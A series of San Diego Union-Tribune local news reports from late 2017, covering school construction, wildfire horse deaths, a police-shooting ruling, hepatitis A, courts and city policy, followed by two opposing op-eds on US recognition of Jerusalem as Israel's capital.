The existing school was built in 1954 for a student population of 361, Rep. Darrell Issa (R-Vista) wrote in a letter to California Gov. Jerry Brown this month, but the structure is outdated and the student body has outgrown its space.

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It now enrolls about 750 students, Billingsley said, and many students attend class in relocatable units.

The Department of Defense agreed to pay $48 million for the project and the state must match that with 20 percent, Issa wrote, asking Brown to expedite the funding.

Without the required matching funds, this $48 million, which is now available, could be rescinded and reallocated to other schools in the spring of 2018, he wrote.

The campus is deteriorating, he wrote, noting that even with $6 million in repairs to its electric, gas, water and sewer facilities, the school doesnt meet current construction codes and standards.

I know youll agree that the children of our service members deserve to receive a quality education and shouldnt be forced to deal with overcrowded classrooms, a deteriorating building, and unreliable facilities, he wrote.

The district has submitted plans for a new campus to the Division of the State Architect, Billingsley said. Theyre under review, and will go to the Office of Public School Construction after theyre approved. If all goes as planned, the district could begin construction on the new campus within a year. On Thursday, it broke ground on the other Marine Base campus, San Onofre School.

Mary Fay Pendleton school would accommodate 800 to 1,000 students in a modern, two-story building, Billingsley said.

It will be all new construction with no relocatables and rich in technology, he said. It will have many resources for STEM (science, technology, engineering and math) education. It will have state-of-the-art wired classrooms, and will have facilities to allow physical education.

The new school will be built on the footprint of the new school, with students attending class in the existing facilities while construction takes place, Billingsley said.

We are so proud to be able to offer a new school for our military dependent students, which they so richly deserve, he said.

deborah.brennan@sduniontribune.com Twitter@deborahsbrennan
The San Marcos City Council early next year will consider whether to approve a six-story hotel proposed near the Nordahl exit of State Route 78.

The project would be located at the southwest of Montiel Road and Leora Lane, near UEI College and Turners Outdoorsman, according to a staff report to the planning commission.

The commission recommended approval of the project on a 4-3 vote on Dec. 4.

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The hotel would offer 128 guest rooms, a cafe, fitness room and indoor pool, and would incorporate architectural features such as colored glass and metal fins. It would also include a partially underground parking structure with 141 parking spaces.

Although the site near the Nordahl offramp of Route 78 near Costco and Walmart receives frequent commercial traffic, the hotel plan would not significantly affect traffic, so it would not require any road or highway improvements, according to San Marcos spokeswoman Sarah MacDonald.

The hotel would be one of two six-story structures recently approved in San Marcos, and would require an amendment to the specific plan for the area. The plan currently limits buildings to 60 feet, but the modification could permit an extra 10 feet for architectural features.

Currently there are no other buildings of that height outside Cal State San Marcos, but the council recently approved another six-story structure in the University District off Barham Drive, MacDonald said. That building is expected to start construction before the hotel project would break ground.

While both of these projects will be the first of its kind from a height perspective, similar commercial/office developments can be expected in the future, she wrote in an email to The San Diego Union-Tribune.

The proposed hotel is a project of Carte, a development group that is also building a $70 million, 240-room hotel in downtown San Diego.

deborah.brennan@sduniontribune.com Twitter@deborahsbrennan
On Friday, after being elected chairman of the regions planning agency, Del Mar City Councilman Terry Sinnott reportedly said it was debatable whether climate change was real.

On Monday, facing removal from the San Diego Association of Governments board of directors for those remarks, he said he wanted to correct the record.

I do believe we are in the midst of climate change, and that  humans are contributing to that change, Sinnott said before the Del Mar City Council voted to reappoint him to the board.

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Sinnott is Del Mars representative to the SANDAG board, which includes representatives of the county board of supervisors and each of the 18 city councils in the region.

The backlash came after Sinnott told a KPBS radio reporter that climate change is a debatable issue, an observation that outraged some Del Mar residents.

Several residents asked the council to remove Sinnott as Del Mars representative to the SANDAG board.

Global warming is not a political issue, but a fact-based issue, said Ann Feeney, chair of Del Mars Sustainability Advisory Board, in a letter submitted to the council over the weekend. I am very concerned that the Del Mar representative to SANDAG does not understand the basic scientific facts of climate change.

However, Sinnott told the council Monday night that his remarks were misinterpreted.

His earlier remarks were an attempt to focus on his new role as the SANDAG boards leader and not to make statements that might alienate somebody, he said. The SANDAG board and staff are dedicated to reducing the greenhouse gasses that contribute to climate change and to meeting climate goals set by the state.

Residents and several council members said they were satisfied with Sinnotts explanation.

I came loaded for bear  to say that Terry needed to make a correction or step down, said Mayor Dwight Worden, and he was relieved to hear Sinnotts explanation.

Climate change and the reduction of greenhouse gasses are important issues that all cities need to address, Worden said.

philip.diehl@sduniontribune.com

Twitter: @phildiehl
Back in 2003, the plug was unexpectedly pulled on an annual Christmas party for local foster kids. That didnt sit well with Peggy Goldsmith.

The longtime volunteer for the countys Foster Youth Mentor Program was heartbroken by the budget cut. She knew that for many of these children, the party was the only place theyd receive a Christmas gift and a rare opportunity to see their siblings living in other foster homes.

So the longtime biotechnology industry worker got busy. In a matter of days, she and a small group of fellow mentors raised nearly $1,500 plus a last-minute donation of Harry Potter merchandise from Warner Bros. Studios to bring the party back, bigger than ever. That led her to wonder: If we can do all this in 2- weeks, what can do with months?

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On Sunday, Goldsmith hosted her 13th annual Good Cheer Gift Giving Party at the Birch Aquarium at Scripps. This year, she raised nearly $14,000 to host 155 foster children and their mentors, fulfill the gift wish lists of more than 80 foster youth, and buy gift cards and other prizes for contests and giveaways at the party.

Ross Rostum, who has helped run the Foster Youth Mentor Program for the past 10 years, said Goldsmiths eternal optimism has ensured that the party comes off without a hitch year after year.

She is unwavering, relentless and she donates her time and resources without a second thought, as she has seen first-hand the value of our youth having a mentor, he said.

Every year, Goldsmith spends hundreds of hours raising money, organizing the event and leading volunteers in buying and wrapping gifts, making cards and coordinating with mentors to make sure every child in the mentor program has a ride to the party. Helping others, especially children in need, was a lesson she learned from her late mother.

I believe that your life has been written, said Goldsmith, 49. Its a matter of you choosing the path to receive those blessings, sooner or later.

Peggy Goldsmith, cenbter, chats with Karson Wallace, 18, right, and his mentor Teri Brown, left, at the 13th annual Foster Youth Mentor Program Christmas party, which Goldsmith organizes. (Nancee E. Lewis / San Diego Union-Tribune )

After the Iowa native moved to San Diego in 1996, she looked for places to volunteer. Working with children had great appeal because she was in her late 20s, unmarried at the time and didnt know if shed ever have children of her own.

I figured it would be a great way to fill the void, by having kids without having kids, she said.

In 1997, she and her friend Shawna Partin applied for the Foster Youth Mentor Program. Founded in 1985 through a grant from the Child Abuse Prevention Foundation, the program provides volunteer mentors for children who face long-term displacement from their family homes.

Mentors are expected to spend at least eight hours a month for one year with the children theyre assigned. But for Goldsmith, the children quickly swallowed a much larger chunk of her life and heart.

In 1997, Goldsmith and Partin signed on to mentor three siblings  Hakeem, 8, Andreia, 7, and Sherron, 5  who had grown up without their parents in an unstable environment of poverty, drugs and neglect. Two years later, Goldsmith added a fourth mentee, 14-year-old Karrie.

Goldsmith started out spending occasional evenings with the kids after she got off work. That grew into full weekends when the siblings were sent to different foster homes. Eventually, she pooled all her vacation time each year to reunite the kids at her home for the Christmas holidays. And when Sherron fell in with a gang and her foster parents refused to take her back at age 16, she moved in with Goldsmith until she finished high school.

It stole my life, Goldsmith said. Once I had a relationship with these kids, it wasnt about a one-year commitment. I fell in love with these kids for my whole life.

Sherron Garrett is now 25, married with three children and living happily in Michigan. She doesnt know where shed be if Goldsmith hadnt taken her in when nobody else would.

Growing up in foster care, I always felt abandoned, like no one loved me. When I met her, she showed me what true love really meant. She helped me grow into a better person, Garrett said.

Karrie Smith, now 32, was at a low ebb when Goldsmith became her mentor in 1999. Shes now married with two children and lives in Florida where she said she misses Goldsmith every day.

Ive always considered her my mom, Smith said. She was by my side when I went through mental hospitals and all of it. If she hadnt been there, I wouldve committed suicide when I was 15.

Andreia Dooley, now 27, just completed her masters degree in international relations. Shes married to a Marine. Last month, they moved from his duty station in Okinawa, Japan, to a home in Oceanside.

Dooley said that as a child she was suspicious of Goldsmith and Partin because no adults had ever been a constant in her life.

We thought maybe theyd stick around for six months, maybe a year. Then after year two ... the relationship transformed, Dooley said. Peggy has played every role in my life, from aunt to big sister to friend to mom. Shes the one person who has kept me grounded all these years.

These sorts of outcomes are the pride of the Foster Youth Mentor Program. Ninety percent of youth mentees express an interest in becoming a mentor themselves, 78 percent volunteer regularly and more than 55 percent enroll in college, according to Lilian Nguyen, child welfare executive assistant with the countys Health & Human Services Agency.

The notion of permanency is important, Nguyen said. Some of our youth may not go to forever homes  but in this program they do make a lifelong connection. Their feedback has been at least I know I have someone to call when Im in trouble.

Four years ago, Goldsmith married photographer John Gastaldo. They live in North Park. When they first started dating, he asked if she wanted to have children. She told him she already raised four.

In the end, I did have kids, she said. Women say they get to check that box when they have a baby. I think I should be able to say I got to check that box, too.

Goldsmith has worked in biotech for 16 years, the past four as senior executive administrator at Imprimis Pharmaceuticals. Imprimis and other firms helped underwrite this years Good Cheer party. The rest she raised through private donations via paypal.me/fosterholidayparty. Among this years donors was her mentee Dooley, who gave $250.

I used to loathe the holidays because I thought they were for everyone else to enjoy. But she brought Christmas back into my life, Dooley said. The parties created a sense of the family that I always wanted. She gave me that and she continues to give me that every day.

pam.kragen@sduniontribune.com
The Lilac fire that tore across northern San Diego County killed at least 46 horses at San Luis Rey Downs, transforming a place brimming with life into one devastated by death.

Outside Barn E, the car of trainer Martine Bellocq was gutted by flames as its driver rushed to save as many horses as possible. Bellocq suffered second- and third-degree burns over 50% of her body.

Trainer Peter Miller was forced to wait outside San Luis Rey for an hour as police locked down the area. When he finally navigated his way onto the still-burning property, he was stunned.

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It was like a nightmare, said Miller, an Encinitas resident who had more than 75 horses stabled at the facility, which housed about 450. Like a living nightmare. It was surreal.

It was worse than I ever could have imagined. Much worse.

Leandro Mora was horrified, too. The assistant to trainer Doug ONeill, who molded Kentucky Derby winners Nyquist and Ill Have Another, held onto a pair of horses as he coughed and weighed it all through stinging eyes.

Right then, two horses ran by, said Mora, a 40-year veteran. They were burned from end to end, the hair was gone and they were screaming. Thats the moment when I made the decision to let our horses go.

Thats going to be in my brain the rest of my life. Thats ugly. Ugly stuff.

So many horses were involved that it quickly became confusing and overwhelming  for humans and animals alike. California Diamond, a Miller-trained star who won nearly $500,000, had been set free, only to return to his stall and an unwitting death sentence.

Thats their home, Miller reasoned. He was one of the coolest, neatest, kindest, gamest horses Ill ever have. When I saw him in there, my heart sank.

The night of the fire, Miller visited neighboring Trifecta Farms. Rumblings circulated that Conquest Typhoon, the 2014 winner of the Del Mars Cecil B. DeMille Stakes, had found his way there.

He was unrecognizable, said Miller, staring at the ground. His head was swollen and the hair was singed. It was horrific. Those images will never go away.

Husband-and-wife veterinarians Korin Potenza and Nick Huggons triaged Conquest Typhoon, smothering him in silver-and-white burn ointment and love. Potenzas sister stayed overnight to feed the horse applesauce and grain-mash soup. On Thursday, he bounced around his hospital stall while gobbling up bananas.

The veterinarians helped walk horses down Camino del Rey to Trifecta Farms. Jumping in proved critical, because blocked roads made it impossible for horse trailers and vans to reach the track.

At one point, Potenza and an intern drove past a police barricade with lights flashing in pursuit. They said humans were the main concern, Potenza said. I said, Not for us. 

Potenza and the others were able to lead about 100 horses away from the fire. If everyone at San Luis Rey hadnt reacted like that, said Del Mar racetrack spokesman Mac McBride, It could have been one of the greatest horse tragedies in the history of this country.

Yet in that horrible wake, goodness refuses to relent.

Horse owner Joe Ciaglia bought 200 pairs of shoes to give to displaced workers. An anonymous donor cut a check for $28,000, allowing Del Mar employees to hand out $400 envelopes to 70 workers this week.

Potenza and Huggons, who worked without sleep for a night and without power for three, continue donating their services and necessary supplies. Trainers Todd Pletcher, Bill Mott and Mark Casse shipped a truckload of horse supplies from the East Coast.

A GoFundMe page launched by Santa Anitas Stronach Group and the Del Mar Thoroughbred Club had eclipsed $640,000 last week. The first payouts of $500 were given to 224 workers. Trainers received $600 per each horse affected.

The emotional toll, though, is impossible to calculate.

The fire enveloped trainer Joe Herrick in Barn I as he rushed to save Lovely Finish, a filly who ran second in a race at Del Mar last month  her first race. The filly was saved, but Herrick was left with second- and third-degree burns over 23% of his body.

Even as he recovers at the UC San Diego Medical Center burn unit, he finds solace in the life he protected. The smoke was so thick and black, Herrick said. A couple seconds more and she wouldnt have had a chance.

Mora, ONeills assistant, freed 35 horses as the flames whipped. He, like so many others, refused to walk away.

It was better to let them go then to watch them charred in a stall, Mora said. People say its just a business, blah, blah, blah.

The longtime horseman shook his head.

No. No way.

Kevin Habell, San Luis Reys general manager, said the facility lost nine of its 15 barns and demolition-related costs alone could top $1 million.

But Habell still smiles as he walks into the Thoroughbred Room, a place where track workers eat and pass the time. The room had filled from end to end with food and supplies from anonymous donors within 24 hours of the fire.

There are towels and shoes, toaster ovens and toothpaste  even bras next to Spanish-language Bibles. The offerings are piled waist high in spots.

A fire led to a heartwarming flood.

Its like the Lone Ranger, Habell said. I didnt even get their name.

bryce.miller@sduniontribune.com

Twitter: @Bryce_A_Miller

Miller writes for the San Diego Union-Tribune.
A federal judge has determined that a San Diego police officer was reasonable in his use of deadly force against an unarmed man in a Midway District alley, a ruling that ends a civil rights lawsuit brought by the mans family.

U.S. District Judge William Hayes order, issued Monday, comes four months after lawyers for the city of San Diego and the family of Fridoon Nehad argued in San Diego federal court over the citys request for summary judgment.

Nehad, 42, was shot by Officer Neal Browder after a mere 33-second encounter on April 30, 2015.

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An employee at an adult bookstore had called to report a man threatening people with a knife. Browder testified in a deposition that he pulled into a nearby alley and saw a couple of civilians and the suspect. He confirmed the suspects description with dispatchers, and thats when I noticed that it appeared to me that he had a knife in his hand, and thats when I threw the mic in the passenger seat and then put the car into park, and thats when I got out of the car, he testified.

Nehad slowly walked toward the officer and the car. Browder already had his gun pulled.

The officer said he didnt remember shouting any commands at Nehad, but witnesses reported that he did.

When I saw him as he was aggressing me, he didnt slow down. ... It appeared to me he was definitely focusing on me and was walking toward me with that purpose  with a purpose. ... I felt that he was walking  he was walking to stab me with the knife because thats what I saw. Thats what I saw in his hand.

Within five seconds of getting out of his patrol car, Browder fired on Nehad, hitting him in the chest.

Nehad turned out to have a pen in his hand, not a weapon.

Browder did not turn on his body camera at the time, but the incident was captured by a surveillance camera on a building.

Lawyers for Nehads family argued that the officer created a tactically unsafe environment from the start and that Nehad posed no reasonable threat when he was shot. The investigation found that Nehad was about 17 feet away when the shooting occurred, more than enough space for the officer to have used other less-than-lethal devices, argued Dan Miller, one of the familys attorneys. The officer also could have moved farther away, taken cover behind his patrol car or waited for backup, the lawyer added.

But the judge ruled that the officers response was reasonable under the law.

The Court concludes that the objective facts in this record support Officer Browders belief that the suspect was advancing toward him with a knife and posed an immediate threat to his safety, Hayes ruled.

In a statement Tuesday, Police Chief Shelley Zimmerman said no officer wants to be involved in a shooting.

Our officers put on their uniforms every day to protect and serve our community. This case was no different, Zimmerman said. We are pleased the judge looked at the facts and made the right decision in this tragic situation.

City Attorney Mara Elliot also commended the judge.

In reviewing this tragic death of a homeless man with mental health issues, the judge was correct to not compound the tragedy by finding fault with the police officer who acted to defend himself and others, Elliot said. Not many of us would have entered a dark alley under these circumstances.

Miller, of Miller Barondess LLP in Los Angeles, said the family will appeal.

This ruling is wrong, the familys lawyer said in an email. A jury, not this judge, must decide whether the shooting was reasonable. Anyone who looks at the video would conclude this shooting was unnecessary and unreasonable.

The District Attorneys Office, which investigates all officer-involved shootings, has already deemed the shooting to be justified, meaning no criminal charges would be pursued.

Nehads family also sought to sue on a wider claim that accuses the Police Department of whitewashing officer shootings and failing to discipline officers. But since the judge found no civil rights violations in the Nehad shooting, the other broader claim against the department falls short.

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 The family of Fridoon Nehad is suing San Diego police and Officer Neal Browder over the fatal shooting in a Midway District alley.

kristina.davis@sduniontribune.com

Twitter: @kristinadavis
Hepatitis A may no longer be an official emergency in San Diego County after Jan. 31.

Although the San Diego County Board of Supervisors on Tuesday again ratified the regions local public health emergency status, Helen Robbins-Meyer, the countys chief administrative officer, said her office has begun talking to local city governments about ending the official emergency status declared on Sept. 1.

Over the next several weeks, were going to be moving our thought process and our planning towards what does the status quo state look like as were moving away from this emergency state, Robbins-Meyer said. We need to think about what processes will be in place ... by the end of January, when we would anticipate that, at that point, we could lift the emergency declaration.

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The county and local cities have spent millions on a range of activities, from paying to administer more than 113,000 vaccine doses to those at highest risk to installing and paying for supervision and maintenance of portable toilets and hand-washing stations to get the worst hepatitis A outbreak seen in more than 20 years under control.

Dr. Eric McDonald, chief of the countys Epidemiology and Immunization Services Branch, told the board Tuesday morning that local labs and health providers continue to refer two to three hepatitis A cases per week. While that pace is much slower than it was over the summer, when the outbreak peaked, it still has not returned to what was considered normal before the outbreak.

Were still getting a higher number of reported cases than prior to the outbreak, which was two to three per month, McDonald said.

The county added two more cases to the outbreak total this week, moving the count to 571. The number of hepatitis A-associated deaths remained at 20.

Talk of ending the emergency, coupled with another week of low activity, gave supervisors reason for optimism heading into the Christmas weekend.

It looks like maybe, just maybe, well be out of the woods soon on this one, said board chair Dianne Jacob.

Health Playlist On Now Video: Why aren't Americans getting flu shots? 0:37 On Now Video: Leaders urge public to help extinguish hepatitis outbreak On Now San Diego starts cleansing sidewalks, streets to combat hepatitis A On Now Video: Scripps to shutter its hospice service On Now Video: Scripps La Jolla hospitals nab top local spot in annual hospital rankings On Now Video: Does a parent's Alzheimer's doom their children? On Now Video: Vaccine can prevent human papillomavirus, which can cause cancer 0:31 On Now 23 local doctors have already faced state discipline in 2017 0:48 On Now EpiPen recall expands On Now Kids can add years to your life

paul.sisson@sduniontribune.com

(619) 293-1850

Twitter: @paulsisson
San Diego is taking control over cash generated by classes and activities at the citys 52 recreation centers, prompting volunteers who previously handled the money to threaten a mass exodus.

The change in policy was necessary because its illegal and inappropriate for private citizens to control money that belongs to San Diego taxpayers, City Attorney Mara Elliott told the City Council last week.

Multiple embezzlement schemes, which tighter financial controls could have prevented, have been uncovered at city recreation centers in recent years.

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But the volunteers, who serve on panels called recreation councils, say theyve successfully overseen money generated by the centers for years with relatively minimal problems.

They also contend the city takeover was rushed, handled without adequate transparency and creates more problems than it solves.

City officials said the only substantial change would be the money being placed in individual city accounts designated for each center, instead of it being placed in private bank accounts controlled by each council.

Volunteers will still propose annual budgets for the money, the cash can only be spent in the geographic area served by the center and recreation councils will still control donation money and use it to pay for additional staff.

They will also continue to scheduled classes, decide how playing fields are used, plan capital projects and publicize their programs.

A sharply divided City Council approved the change in a 5-4 vote last week after a contentious debate.

Recreation center volunteers said the move could cost the city many thousands of hours of free labor from the volunteers.

You may not get too many volunteers that will stand up and continue to work on your recreation councils, said Norm Ryan, a member of the Tierrasanta Recreation Council.

They also complained it will make the councils less nimble financially, adding red tape and delays to the process of paying vendors and people who teach classes.

City officials say the changes will bring an increase in staff time spent on former volunteer tasks, but it will be so minimal that no budget adjustments are required

Councilman Scott Sherman said he empathized with the volunteers, but that he wants to shrink opportunities for embezzlement and other mischief as much as possible.

The way the system is now, it also lends itself to abuse, Sherman said before the council approved the change.

Councilman Mark Kersey said he voted for the change even though he considers it flawed because allowing the volunteers to continue handling the cash was also flawed.

Councilman David Alvarez, one of the four no votes, acknowledged that Elliott raised a valid legal concern but said the citys solution appears to create confusion and be half-baked.

It seems like we are creating more problems than solutions, Alvarez said.

Councilman Chris Cate, who also opposed the change, said a superior solution was possible if Elliott hadnt demanded a new policy be in place by Dec. 31.

I think there was a pathway to do something that was more simplistic and not as complicated as this, he said. There was a better way.

Forty-six of the 52 recreation councils have formal nonprofit status and will be allowed to retain donated funds and decide how to spend them.

One complication for the changes will be disentangling donated money from recreation center revenue, which city officials plan to accomplish during the first three months of 2018.

The city also plans to create a working group of officials and volunteers to monitor and possibly modify the new procedures if problems arise.

The new policy also clarifies that the city will financially protect rec center volunteers from lawsuits.

Recreation center activities in early 2018 could have been jeopardized if the council hadnt adopted a new policy by the end of the year.

The new policy comes after a La Jolla recreation council volunteer was accused last fall of stealing more than $67,000.

In 2008, a city audit uncovered more than $100,000 in stolen cash from recreation centers in Ocean Beach and Encanto. The money was allegedly taken by a city parks employee, not rec center volunteers.

And in 2007, an embezzlement scheme totaling over $70,000 was uncovered at another recreation center.

david.garrick@sduniontribune.com (619) 269-8906 Twitter:@UTDavidGarrick
A young woman who was drunk when her vehicle collided with a truck on a freeway in City Heights, killing her best friend, was sentenced Monday to one year in county jail and five years probation.

Yolanda Lozano, 20, pleaded guilty in July to gross vehicular manslaughter while intoxicated in the Feb. 17 death of her passenger, 19-year-old Mabel Bahena. She could have faced up to seven years in prison.

According to Deputy District Attorney Laura Evans, Lozano drank alcohol at a hookah lounge and had a blood-alcohol content of .22 percent hours after the 6 p.m. crash, which occurred on state Route 15 just north of Interstate 805.

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She drank, she drove and she killed somebody,' said Evans, who argued for a prison term.

Superior Court Judge Timothy Walsh, who handed down the sentence, called the case exceptional because Bahenas family supported the defendant. He said he regularly is asked by victims families to send defendants to prison and is asked to give their feelings great weight.

To ignore that now cuts against what my job is  justice, the judge said.

The victims father told the judge that he believes the crash was an accident.

Sir, we make mistakes and shes paying a lot, Gustavo Bahena said. I think what shes already lost  a friend  is more than enough.

After Lozano entered her plea, the judge had prison officials evaluate her to help determine whether she was suitable for prison or should be placed on probation.

Walsh noted that none of the multiple counselors and psychologists who spoke with the defendant, who had no criminal history, felt she was a good candidate for prison, a rare finding in his experience.

Because of accumulated credits, Lozano is expected to serve only a couple more months behind bars, according to the lawyers in the case.

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Email: david.hernandez@sduniontribune.com

Phone: (619) 293-1876

Twitter: @D4VIDHernandez
A stubborn, two-alarm fire at an automotive garage off Pacific Highway Tuesday morning caused an estimated $1 million in damage and sent up a huge plume of smoke that could be seen for miles

The cause of the blaze at Diko Auto Repair remained under investigation by the Metro Arson Strike Team. It appeared that a second business in the same building, an outboard motor and sales company, was also destroyed.

The fire was reported about 8:20 a.m. on Pacific Highway near Wright Street at a one-story building that housed the repair garage north of the Marine Corp Recruiting Depot.

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By time crews arrived, flames were coming out of two garage bay doors and burning through the buildings roof. The fire quickly went to a second alarm, with about 75 firefighters and 20 fire rigs assigned to the blaze.

It took nearly two hours for firefighters to get the fire knocked down.

The business owner told fire officials no one was inside the garage so the decision was made not to send anyone into the structure.

(We) went defensive early on, Fire Chief Brian Fennessy said. Fire was already through the roof.

At one point, Fennessy said, fire crews intentionally let the fire burn through the roof so they could get water directly onto the fire. Some firefighters went onto the roof of an adjacent building with their hoses to rain water down on flames below.

A structural engineer determined that the charred building was unsafe to enter, so fire investigators took only a quick look inside on Tuesday, a fire spokeswoman said. Further inspection was expected over the next few days.

There were no reports of injuries.

karen.kucher@sduniontribune.com

UPDATES:

9:35 a.m.: This story was updated with additional details.

9:00 a.m.: This story was updated with additional details.

This article was originally published at 8:40 a.m.
On a Friday in late July, Matthew Perry Maples was at a Point Loma hotel, waiting to meet a 13-year-old girl to have sex with her.

Instead, authorities showed up and arrested him.

Maples, a Navy lieutenant commander, learned that the girl didnt exist  that it was an undercover federal agent who had responded to his online classified ad, titled Daddy looking for daughter  m4w, meaning man looking for a woman.

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On Monday, Maples, 38, was sentenced to 10 years in prison for attempting to lure a minor for sex, a charge to which he previously pleaded guilty.

According to the U.S. Attorneys Office, Maples chatted with the undercover agent for about two weeks before the July 21 hotel setup. He later admitted he believed he was talking with a 13-year-old girl when he said he would teach her how to kiss and make out, prosecutors said.

Maples also referenced other sexual activities and sent a nude picture of himself to the agent, prosecutors said.

On several occasions, Maples expressed concern about ending up in prison, saying, in one instance, I have watched too much TV of police officers posing as young women luring men like me into a sting. I just have to keep telling myself its real.

At one point, prosecutors said, he asked the undercover agent for a picture of herself making a peace sign so he could know you are real.

Agents with Homeland Security Investigations and the San Diego Internet Crimes Against Children multi-agency task force were involved in the investigation.

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Email: david.hernandez@sduniontribune.com

Phone: (619) 293-1876

Twitter: @D4VIDHernandez
San Diego police arrested three juveniles early Tuesday morning in connection with a break-in at Paradise Hills Elementary School and officers recovered a stash of computers and iPads that had been taken from classrooms.

Police were called to the campus on Alleghany Street near Rio Drive shortly after 11 p.m. after school police reported an alarm had been triggered at the school, which is on winter break.

When officers arrived, they saw three people carrying flashlights coming out of open classroom doors, said police Lt. Dan Grubbs.

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The trio took off running and police searched the school and surrounding neighborhood for them, aided by two police dogs and a helicopter. Police spokesman Billy Hernandez said the search also included backyards of nearby homes.

After about an hour, officers located and arrested all three juveniles on suspicion of burglary, Grubbs said.

We found several classrooms broken into, Grubbs said. More than a dozen computers had been unloaded from the classrooms in different parts of the campus, but the officers were able to recover that property.

At least a dozen tablets and a backpack filled with items also were found, he said.

karen.kucher@sduniontribune.com
The San Diego American-Arab community strongly opposes President Donald Trumps reckless decision to recognize Jerusalem as the capital of Israel. It contradicts the worlds view of Jerusalem as a unique, peaceful and accessible city for all, including its indigenous Palestinian population. Its immediate catastrophic effects will further endanger Palestinian Jerusalemites, undermine any prospects for Middle East peace and reignite anti-U.S. sentiment across the globe. Our opposition to this decision is supported by national and international human rights and peace organizations, European allies of the United States and most Americans.

Since taking control of East Jerusalem in 1967, Israel has pursued a relentless discriminatory policy against the Palestinian population in order to de-Arabize Jerusalem.

Related: Why recognizing Jerusalem as Israeli capital is right move

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According to the Israeli human rights organization BTselem, Israel has revoked the residency of 14,500 East Jerusalem Palestinians. Israel refuses permits for building/renovating homes in East Jerusalem and issues demolition orders if Palestinians alter existing homes and businesses. From 2004 through September 2017, Israeli authorities demolished 730 Palestinian housing units in East Jerusalem.

Palestinians in East Jerusalem pay taxes like all inhabitants of the city but do not receive the same services. The Jerusalem Municipality selectively avoids funding upkeep of Palestinian neighborhood roads, water and sewage systems, schools and cultural institutions. Though Palestinians make up 40 percent of the Jerusalem population, the municipality runs only six health centers in Palestinian neighborhoods, compared to 27 centers in Jewish neighborhoods.

Israeli checkpoints and the separation wall make it nearly impossible for Palestinian Jerusalemites to maintain family and business connections with the West Bank. Palestinians both inside and outside Jerusalem are sometimes denied access to Jerusalems holiest sites. These are only a few examples of injustices suffered during 50 years of Israeli military occupation of Jerusalem.

Even American citizens are subject to Israels systematic discrimination. Palestinian Americans with U.S. passports living in San Diego County have been denied access to dying parents in the West Bank after they arrive at the Tel Aviv airport or the Jordanian border. They have missed funerals and even been prevented from attending a one-year memorial service. There are many examples.

President Trump states that he wishes to achieve peace in Israel-Palestine. Then why is he rewarding Israels serial aggressions, illegal annexation and unrelenting punishment of Palestinians in their own villages and neighborhoods?

The United States now joins Israel as a rogue state that dismisses the Geneva Conventions, which clearly state that territory seized by force may not be annexed by the occupying power. Furthermore, the occupying power cannot displace inhabitants and transfer its own citizens to the seized lands.

Lets be honest: The United States has abandoned the peace process, not just through Trumps recent announcement, but also by barring Palestinians from revived negotiations.

Americans of conscience, who do not want to be complicit through our tax dollars, must join the nonviolent citizens resistance. We support Boycott, Divestment and Sanctions  BDS. Now in its 12th year, BDS is a Palestinian-led global peace and human rights movement upholding the principle that Palestinians are entitled to the same rights as the rest of humanity. BDS is made up of unions, academic associations, grassroots organizations and churches from around the world. Mirroring the South African anti-apartheid movement, BDS pressures Israel to stop violating international human rights laws.

Until Israel honors Palestinians as equal partners in shaping a peaceful future, Americans must push against Israeli apartheid through economic and cultural isolation. Could withholding billions of dollars of U.S. aid to Israel each year motivate Israeli leaders to keep their soldiers out of Palestinian villages and neighborhoods, and to treat Palestinians as equal partners?

Americans are trained to think of Israelis as the perennial victims. Of course, both the occupied and the occupier are victimized by the apparatus of occupation. Yet it is Israel, not the Palestinians, that has nuclear weapons and one of the most powerful militaries in the world, partly funded by our tax dollars.

At this moment in time, the danger to Palestinian lives, families, homes and businesses presses foremost upon our hearts. Lets protect the Palestinians of Jerusalem, not endorse their oppression.

Bittar is an artist, educator, writer and president of the San Diego chapter of the American Arab Anti-Discrimination Committee-ADC. Schlotte is a retired Department of the Navy electronics engineer and vice president of the San Diego chapter of the ADC.
An earth-shattering decision  rather, an acknowledgment  was recently announced by the Trump administration that has far-reaching implications. In fact, the reverberations of the initial shock are still being felt and have promised to continue for an unforeseen amount of time. The current government finally did what no other administration in modern times has dared  affirmed the fact that Jerusalem is the capital of Israel and the Jewish people and furthermore, that Jerusalem will be the new home of the U.S. embassy.

These words have the power to tame, grow or to destroy critically fragile relationships. That is exactly what we are seeing: threats of Intifada and days of rage from Hamas have poured in, rocket attacks from Gaza have increased, and there have been stabbings and attempted suicide bombings. Mahmoud Abbas, president of the Palestinian Authority in the West Bank, even said he no longer sees the United States as having a role in peace negotiations.

Related: How Trump is endangering Middle East peace prospects

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However, weve also seen strengthened relationships with our allies, outpourings of support and thankfulness, and the unmistakable relief among Israelis who are reminded that Israels alliance with the United States is unwavering. We are also seeing jubilation among the majority of Jews in the Diaspora and among Christians. As a result, countries such as the Czech Republic may also consider moving their embassy to Jerusalem.

Jerusalem has long been recognized as the capital of the Jewish state of Israel. It is the city on the hill that boasts over 3,500 years of Jewish presence, the city that encapsulates Judaisms most holy sites, where Jewish history is etched into the very fabric and foundation of Zion itself. King David paced the halls of his Jerusalem fortress in the 10th century BCE and declared Jerusalem as his capital. The grave of Jesus Christ in Jerusalem is visited year-round, symbolizing the life of one who lived 2,000 years ago and changed the course of history. Furthermore, Jerusalem is the site of the First and Second Temples referenced in the Hebrew Bible and is a continual haven of sacred life for not only Jews but Muslims and Christians alike. Only under Israeli rule have the worlds major monotheistic faiths been able to worship in one place and in true freedom.

So why is this validation of Israels reality by the current administration creating so much controversy? It is merely an assertion of what is and has been fact for millennia and what has been U.S. law since 1995! Moreover, the current administration made clear that this recognition would not prejudge the negotiations of final borders.

Despite this, why do European and Middle Eastern countries regard this as an unfair and reckless decision? They point fingers at the rioting and violent dissenters who refuse to acknowledge reality, and instead say it is America and Israels fault for causing such upheaval. They seem to forget that Israel has come to the negotiating table many times with the aim of creating a viable two-state solution, where Palestinians would be free to manage their own state, their own laws and their own cultural affairs. Also, seemingly forgotten is the fact that Palestinian leadership has refused all offers to create a state and have stalled negotiations, and now, yet another excuse is being used to push the peace process further away.

What can we hope from such a decision, then? It really depends on your vantage point. The magnitude of events that have taken place in Israel during this time are unparalleled: 50 years since the reunification of Jerusalem in 1967, the upcoming 70-year celebration of Israels rebirth in 1948, and finally, the assertion that Jerusalem is Israels capital, strengthening the ties between Israel and the United States. This courageous U.S. move is a lesson that we must not cower away from threats or bullying, and we must not worry that anti-Israel propaganda will once again attempt to cover the bright torch that we carry.

Miller is director of StandWithUs San Diego. StandWithUs is an international, nonprofit Israel education organization.
